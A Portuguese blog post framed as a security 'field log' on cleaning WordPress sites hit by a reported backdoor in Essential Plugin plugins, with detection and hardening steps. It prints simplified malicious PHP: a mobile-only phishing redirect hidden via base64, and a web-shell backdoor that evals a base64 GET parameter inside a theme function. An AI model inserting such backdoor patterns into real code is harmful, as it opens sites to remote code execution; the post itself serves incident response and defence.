Log de Campo #003 — Incidente de Segurança

Data: 15.04.2026 — Setor Wordpress, Quadrante da Internet Profunda.

Semana passada foi intensa. Três chamados de clientes no mesmo período, todos com o mesmo sintoma: sites WordPress se comportando de forma estranha — redirecionamentos suspeitos, spam aparecendo no Google Search Console, painel admin gerando novos usuários "sozinho". Enquanto eu estava no meio da investigação, saiu a notícia que explicava tudo.

A Bomba-Relógio da Essential Plugin

O Olhar Digital noticiou em 14 de abril o que a comunidade de segurança já estava discutindo: dezenas de plugins do WordPress foram comprometidos com backdoors, distribuindo código malicioso para todos os sites com as extensões instaladas.

A história começa antes: a empresa Essential Plugin — com mais de 400 mil instalações e 15 mil clientes — foi vendida para um novo proprietário corporativo. Pouco depois da aquisição, backdoors foram inseridos diretamente no código-fonte dos plugins. O código ficou inativo por meses, esperando.

No início de abril de 2026, o gatilho foi ativado.

Austin Ginder, fundador da Anchor Hosting, foi quem primeiro documentou o ataque — descrevendo-o como um clássico supply chain attack: comprometer a fonte (o plugin) para atingir todos os destinos (os sites que o usam).

O detalhe mais perturbador? Usuários do WordPress não são notificados quando um plugin troca de proprietário. Você instala um plugin de um desenvolvedor confiável, anos depois ele vende a empresa, e você nunca fica sabendo. O plugin continua lá, com acesso total ao seu site, agora nas mãos de outra pessoa.

Três Sites, Três Lições

Quando meus clientes me chamaram, não sabia ainda da notícia. Só sabia que havia código estranho em lugares onde não deveria haver. O processo de limpeza me ensinou mais sobre comportamento de malware do que qualquer curso teórico.

O primeiro: o invasor discreto

O primeiro site tinha o sintoma mais clássico — redirecionamento condicional. Usuários navegando no desktop viam o site normal. Usuários de mobile eram silenciosamente redirecionados para páginas de phishing.

O código responsável estava escondido em wp-includes/class-wp-styles.php — um arquivo do core do WordPress, não do plugin. O atacante havia escrito no arquivo legítimo do core para garantir que uma reinstalação do WordPress não apagasse o malware.

// Código ofuscado real encontrado — simplificado para fins didáticos
if (isset($_SERVER['HTTP_USER_AGENT'])) {
    $ua = strtolower($_SERVER['HTTP_USER_AGENT']);
    if (strpos($ua, 'mobile') !== false || strpos($ua, 'android') !== false) {
        header('Location: ' . base64_decode('aHR0cHM6Ly9...'));
        exit();
    }
}

O base64_decode é a técnica favorita para esconder URLs maliciosas de varreduras automáticas. Lição número um: a limpeza de plugins não resolve se o core foi modificado. É preciso substituir todos os arquivos do WordPress por uma cópia limpa.

O segundo: o persistente

O segundo site foi o mais trabalhoso. Limpei uma vez — o malware voltou em 24 horas.

Havia um mecanismo de reinfecção em um arquivo aparentemente inofensivo na pasta uploads. A pasta wp-content/uploads geralmente não deveria conter arquivos PHP, mas raramente alguém verifica isso. O arquivo estava disfarçado como uma imagem: thumb_1920x1080_v2.php.jpg — uma extensão dupla que o servidor interpretava como PHP.

Esse arquivo:

1. Monitorava a presença dos backdoors principais
2. Caso fossem removidos, os recriava automaticamente
3. Reportava o IP do servidor para um C2 (Command & Control) externo

Lição número dois: antes de limpar, bloqueie o vetor de persistência. Desabilitar a execução de PHP na pasta uploads via .htaccess deve ser passo zero em qualquer instalação:

<Files *.php>
  deny from all
</Files>

O terceiro: o sofisticado

O terceiro caso foi o mais revelador sobre o nível dos atacantes. O malware não injetava código óbvio — injetava funções que se comportavam normalmente 99% do tempo.

Havia uma função substituída no functions.php do tema que, para a maioria das requisições, funcionava exatamente como esperado. Mas quando recebia um parâmetro específico via $_GET, executava código arbitrário passado remotamente. Uma Web Shell completamente funcional, escondida dentro de uma função legítima.

// Versão didática do padrão encontrado
function get_theme_setting($key, $default = '') {
    // Comportamento normal na maior parte do tempo
    if (isset($options[$key])) return $options[$key];
    
    // Porta dos fundos ativada apenas com parâmetro específico
    if ($key === '_s' && isset($_GET['__ref'])) {
        eval(base64_decode($_GET['__ref'])); // execução remota
    }
    
    return $default;
}

A função é chamada dezenas de vezes pelo tema durante o carregamento da página. Em todas as requisições normais, comporta-se perfeitamente. Só vira arma quando um atacante passa o parâmetro correto na URL. Lição número três: malware moderno não é óbvio. É cirúrgico.

Como Investigar (Sem Entrar em Pânico)

Se você gerencia sites WordPress, estes são os passos que uso hoje em toda investigação:

1. Comparação de integridade de arquivos Use o WP-CLI para comparar o checksum dos arquivos core com o repositório oficial:

wp core verify-checksums

Qualquer divergência nos arquivos do core é sinal de alerta imediato.

2. Varredura por funções perigosas Procure por uso combinado de funções como eval, base64_decode, gzinflate, str_rot13 e preg_replace com o modificador /e:

grep -rn "eval\|base64_decode\|gzinflate" wp-content/ --include="*.php"

3. Arquivos PHP em lugares incomuns

find wp-content/uploads -name "*.php" -o -name "*.php.jpg"
find wp-includes -newer wordpress.zip -name "*.php"

4. Usuários admin criados recentemente

wp user list --role=administrator --format=table

Qualquer usuário admin que você não reconhece deve ser removido imediatamente e a senha de todos os demais deve ser trocada.

5. Logs de acesso Os logs do servidor frequentemente revelam o padrão de exploração. Procure por requisições POST repetidas a arquivos que normalmente não recebem POST, ou parâmetros GET incomuns.

O Ponto Cego da Confiança

O que esses três casos têm em comum com o ataque da Essential Plugin é a exploração de confiança implícita. Você confia no plugin porque ele funcionou bem por anos. Você confia no core porque é o WordPress. Você confia no tema porque veio de um marketplace respeitável.

Os atacantes sabem exatamente disso. Não atacam as defesas — atacam a confiança.

A mudança de proprietário de um plugin é invisível para quem usa o WordPress. Não existe e-mail, não existe notificação, não existe changelog marcado. O plugin atualiza silenciosamente, e junto com a nova versão vem o backdoor que ficará dormente por meses, esperando o momento certo.

O Que Fazer Agora

Se você usa WordPress, independente de ter sido afetado por este incidente específico:

• Verifique a lista de plugins afetados publicada por Austin Ginder no blog da Anchor Hosting
• Audite quem são os autores dos seus plugins atuais — alguns mudaram de mãos sem anúncio
• Considere um WAF (Web Application Firewall) como o Cloudflare ou Wordfence para detectar comportamentos anômalos
• Configure alertas de criação de usuário — qualquer novo admin deve disparar uma notificação
• Mantenha backups externos em local separado do próprio servidor — backups no mesmo servidor são inutilizados quando o servidor é comprometido

E talvez o mais importante: trate plugins como código de terceiros rodando com acesso total ao seu banco de dados e sistema de arquivos — porque é exatamente isso que eles são.

A limpeza dos três sites levou dias. Não pela complexidade técnica de cada etapa individual, mas pela necessidade de verificar e reverificar cada arquivo, cada registro no banco, cada usuário, cada cron job agendado. O atacante tem tempo infinito para se esconder. O defensor tem que encontrar tudo.

Essa assimetria é o que torna segurança ofensiva tão eficiente — e segurança defensiva tão exaustiva.

"O malware perfeito é aquele que nunca parece malware."

Transmissão encerrada. Mantenham os firewalls ativos.

— Comandante Gustavo, Setor de Segurança